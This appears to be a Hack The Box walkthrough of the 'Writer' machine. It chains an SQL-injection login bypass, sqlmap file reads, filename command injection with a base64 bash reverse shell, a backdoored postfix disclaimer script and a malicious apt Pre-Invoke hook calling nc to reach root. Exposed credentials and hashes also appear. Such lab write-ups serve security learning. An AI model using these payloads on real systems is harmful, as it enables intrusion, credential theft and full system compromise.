Writer - [HTB]

Cover Image for Writer - [HTB]


Writer is a medium linux machine where the attacker will have to use sqli for becoming Admin in a writer's blog and for downloading files from the machine. Thanks to the files that the attacker is able to download will be able to analyse its functions discovering a vulnerability that will lead him or her to obtain RCE. Then, will have to modify a bash script used in a local smtp server to become the user john. Finally, because john is able to create files under the apt configuration folder, the attacker will only have to create a malicious file under this directory waiting for an automated update.


As always, let's start finding all opened ports in the machine with nmap.

kali@kali:~/Documents/HTB/Writer$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt
Warning: giving up on port because retransmission cap hit (2).
Nmap scan report for
Host is up (0.094s latency).
Not shown: 65531 closed ports
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

# Nmap done at Thu Aug 12 14:16:36 2021 -- 1 IP address (1 host up) scanned in 301.73 seconds

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali:~/Documents/HTB/Writer$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,139,445
Nmap scan report for
Host is up (0.20s latency).

22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-12T18:20:36
|_  start_date: N/A

Looking at port 80 seems to be a blog.

Write WebPage

Because the main page isn't very helpful, let's jump in to web enumeration.

kali@kali:~/Documents/HTB/Writer$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o gobuster.txt -u                                        
Gobuster v3.1.0                                         
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http:///
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0 
[+] Extensions:              php,html,txt,doc
[+] Timeout:                 10s
2021/08/01 04:12:20 Starting gobuster in directory enumeration mode

/about                (Status: 200) [Size: 3522]
/contact              (Status: 200) [Size: 4905]
/static               (Status: 301) [Size: 313] [-->]
/logout               (Status: 302) [Size: 208] [-->]
/dashboard            (Status: 302) [Size: 208] [-->]
/administrative       (Status: 200) [Size: 1443]

In the /administrative page there is a login form vulnerable to SQLi.

Admin Login


In order to check if it is vulnerable to **SQLi **we can send 'or 1=1 -- - as username, getting access as Admin. So now, we are able to create posts with images attached.

Note: You need to click on 'here' in order to write an URL. This will come handy later.

Remote File Inclusion

Then we can use sqlmap to dump not only the database, but stored files in the machine like /etc/passwd.

Note: By default sqlmap uses time based attackes, so downloading a file can take hours. Hence, you need to specify the Union technique taking just a couple of seconds.

kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --dbms=MySQL -D writer -T users --dump
Database: writer
Table: users
[1 entry]
| id | email            | status | password                         | username | date_created |
| 1  | admin@writer.htb | Active | 118e48794631a9612484ca8b55f622d0 | admin    | NULL         |

kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --file-read=/etc/passwd --technique=U
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] N
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/ (same file)

kali@kali:~/Documents/HTB/Writer$ cat /home/kali/.local/share/sqlmap/output/
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash

Furheremore, obtaining the file /etc/apache2/sites-available/000-default.conf we can obtain information about the web server internals. As we can see, trying to access to the port 80 the apache server executes the script writer.wsgi.

kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --file-read=/etc/apache2/sites-available/000-default.conf --batch
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] n
do you want confirmation that the remote file '/etc/apache2/sites-available/000-default.conf' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
got a 302 redirect to ''. Do you want to follow? [Y/n] n
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/ (same file)

kali@kali:~/Documents/HTB/Writer$ cat /home/kali/.local/share/sqlmap/output/
# Virtual host configuration for writer.htb domain
<VirtualHost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
		Alias /static /var/www/writer.htb/writer/static                         
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all 

Downloading the file writer.wsgi we can know the existance of a file named __init__.py.

kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --file-read=/var/www/writer.htb/writer.wsgi --technique=U
do you want confirmation that the remote file '/var/www/writer.htb/writer.wsgi' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] n
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/ (same file)

kali@kali:~/Documents/HTB/Writer$ cat /home/kali/.local/share/sqlmap/output/
import sys
import logging
import random
import os

# Define logging

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")

This file is stored under the path /var/www/writer.htb/writer/.

kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --file-read=/var/www/writer.htb/writer/__init__.py --technique=U
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] n
do you want confirmation that the remote file '/var/www/writer.htb/writer/__init__.py' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
got a 302 redirect to ''. Do you want to follow? [Y/n] n
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/ (size differs from remote file)

Viewing the code inside the file we can see that under the routes /dashboard/stories/add and /dashboard/stories/edit/<id>' the following code is being executed if we upload an image by file or by URL.

    if request.method == "POST":
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image = "/img/{}".format(image.filename)
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
		if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))

Analysing the code we can see several things. First, we can upload any file containing the characters ".jpg" in its filename ( image parameter) which will beistored under the path /var/www/writer.htb/writer/static/img/<FilenName>.

Secondly, and most important, we need to know how the function urllib.request.urlretrieve() works so we can obtain RCE. Basically, if we pass this function an url like http://domain.com/image.jpg the local_filename variable will stored a string like /tmp/tmptetntjkk. But, if the image url looks like "file:///etc/passwd" it will return the actual path "/etc/passwd". Furtheremore, the path will by added to the function os.system() which will execute anything in the resulting string as a command.

Hence, if we create a file named patata.jpg; id ;echo the resulting string will look like this.

 mv patata.jpg; id ;echo patata.jpg; id ;echo .jpg 

This will produce an error on the mv command, executing the id command and avoiding any error with the ".jpg" string.

In order to obtain a reverse shell we need to encode the payload into base64, creating the file with touch.

kali@kali:~/Documents/HTB/Writer$ echo "bash -i >& /dev/tcp/ 0>&1" | base64
kali@kali:~/Documents/HTB/Writer$ touch "patata.jpg; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Mi80NDQ0IDA+JjEK|base64 -d|bash;echo"

Now, we need to create a post uploading the file we have just created and then,modify it by changing its story image using the URL form.

file:///var/www/writer.htb/writer/static/img/patata.jpg; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Mi80NDQ0IDA+JjEK|base64 -d|bash;echo
RCE URL image_url

However, we need to remove the pattern html attribute from the image_url form so we can submit the modification.

<input class="form-control" type="url" pattern="http(s?)(:\/\/)((www.)?)(([^.]+)\.)?([a-zA-z0-9\-_]+)(.com|.net|.gov|.org|.in|.co.uk)(\/[^\s]*)?" name="image_url" title="Special characters are not allowed!"></input>

If you have done everything above correctly you will get a reverse shell as www-data.

kali@kali:~/Documents/HTB/Writer$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 35676
bash: cannot set terminal process group (1002): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation 1

Inside the MariaDB configuration file located at /etc/mysql/my.cnf we can obtain obtaining kyle's hashed password.

www-data@writer:/$ cat /etc/mysql/my.cnf
database = dev
user = djangouser
password = DjangoSuperPassword

www-data@writer:/tmp$ mysql -u djangouser -pDjangoSuperPassword
MariaDB [dev]> use dev; select username, password from auth_user;
Database changed
| username | password                                                                                 |
| kyle     | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= |
1 row in set (0.000 sec)

In order to crack it we can use hashcat.

kali@kali:~/Documents/HTB/Writer$ cat kyleHash.txt 
kali@kali:~/Documents/HTB/Writer$ hashcat -m 10000 --username kyleHash.txt /usr/share/wordlists/rockyou.txt 

Kyle's creds can be used for getting access to the machine through SSH, obtaining the user flag.

kali@kali:~/Documents/HTB/Writer$ ssh kyle@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:GX5VjVDTWG6hUw9+T11QNDaoU0z5z9ENmryyyroNIBI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
kyle@'s password: marcoantonio
kyle@writer:~$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
kyle@writer:~$ cat user.txt 

Privilege Escalation 2

Kyle is a member of the group filter allowing him to edit the file /etc/postfix/disclaimer .

kyle@writer:~$ find / -group filter 2>/dev/null                       
kyle@writer:~$ ls -la /etc/postfix/disclaimer
-rwxrwxr-x 1 root filter 1021 Aug 12 18:42 /etc/postfix/disclaimer
kyle@writer:~$ cat /etc/postfix/disclaimer
# Localize these.

Digging more inside the /etc/postfix/ directory there is a file named master.cf where appears the user john and the file disclaimer.

kyle@writer:/etc/postfix$ cat master.cf
  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

Looking at the POSTFIX documentation we can know that once an email is received the user john will execute the file /etc/postfix/disclaimer. So because we have write permissions in this file we can add a malicious code, obtaining a reverse shell.

# Localize these.
bash -c 'bash -i >& /dev/tcp/ 0>&1'

Finally, we only need to send an email to the local smtp server running on port 25.

kyle@writer:~$ netstat -ptuona | grep LISTEN
tcp        0      0  *               LISTEN      -                    off (0.00/0/0)

You can use the following python script to send the email.

kali@kali:~/Documents/HTB/Writer$ cat sendEmail.py 
import smtplib

server = smtplib.SMTP("localhost",25)

Note: Because the machine erase everything under the /tmp folder every two minutes I encourage you to use another folder. Furthermore, it replaces the file /etc/postfix/disclaimer with a new copy so keep a copy of your modified version of disclaimer, avoiding editing the same file over and over in case you can't do everything fast enough.

kyle@writer:~/.cache$ cd ~/.cache && cp /etc/postfix/disclaimer
kyle@writer:~/.cache$ vim disclaimer && cat disclaimer
# Localize these.
bash -c 'bash -i >& /dev/tcp/ 0>&1'
kyle@writer:~/.cache$ cp disclaimer /etc/postfix/disclaimer && python3 sendMail.py 

Once the file has been modified and the emails has been sent you will receive a reverse shell as john.

kali@kali:~/Documents/HTB/Writer$ nc -nvlp 4445
listening on [any] 4445 ...
connect to [] from (UNKNOWN) [] 54708
bash: cannot set terminal process group (73854): Inappropriate ioctl for device
bash: no job control in this shell
john@writer:/var/spool/postfix$ id
uid=1001(john) gid=1001(john) groups=1001(john)

Privilege Escalation 3

Inside the john's home directory there is an SSH key.

john@writer:/home/john$ ls -la .ssh/
total 20
drwx------ 2 john john 4096 Jul  9 12:29 .
drwxr-xr-x 5 john john 4096 Aug 17 06:01 ..
-rw-r--r-- 1 john john  565 Jul  9 12:29 authorized_keys
-rw------- 1 john john 2602 Jul  9 12:29 id_rsa
-rw-r--r-- 1 john john  565 Jul  9 12:29 id_rsa.pub

Using john's SSH key show us that we are member of the management group, something that didn't appear before.

kali@kali:~/Documents/HTB/Writer$ ssh -i JohnSSH.key john@
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

The members of this group can create files under the /etc/apt/apt.conf.d directory.

john@writer:~$ find / -group management  2> /dev/null 
john@writer:/etc/apt/apt.conf.d$ ls -la /etc/apt/apt.conf.d
total 48
drwxrwxr-x 2 root management 4096 Aug 17 08:18 .
drwxr-xr-x 7 root root       4096 Jul  9 10:59 ..
-rw-r--r-- 1 root root        630 Apr  9  2020 01autoremove
-rw-r--r-- 1 root root         92 Apr  9  2020 01-vendor-ubuntu
-rw-r--r-- 1 root root        129 Dec  4  2020 10periodic
-rw-r--r-- 1 root root        108 Dec  4  2020 15update-stamp
-rw-r--r-- 1 root root         85 Dec  4  2020 20archive
-rw-r--r-- 1 root root       1040 Sep 23  2020 20packagekit
-rw-r--r-- 1 root root        114 Nov 19  2020 20snapd.conf
-rw-r--r-- 1 root root        625 Oct  7  2019 50command-not-found
-rw-r--r-- 1 root root        182 Aug  3  2019 70debconf
-rw-r--r-- 1 root root        305 Dec  4  2020 99update-notifier

Looking on google about "apt.conf.d privilegfe escalation" appears this post explaining how can we become root if we have write permissions in this folder.

Basically we only need to create a new file inside this folder with the following content so when the system updates; apt will execute our command before updating itself.

Finally, after two minutes we will obtain a reverse shell as root.

john@writer:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4446 >/tmp/f"};' > 60pwn

kali@kali:~/Documents/HTB/Writer$ nc -nlvp 4446
listening on [any] 4446 ...
connect to [] from (UNKNOWN) [] 60172
/bin/sh: 0: can't access tty; job control turned off
# id 
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt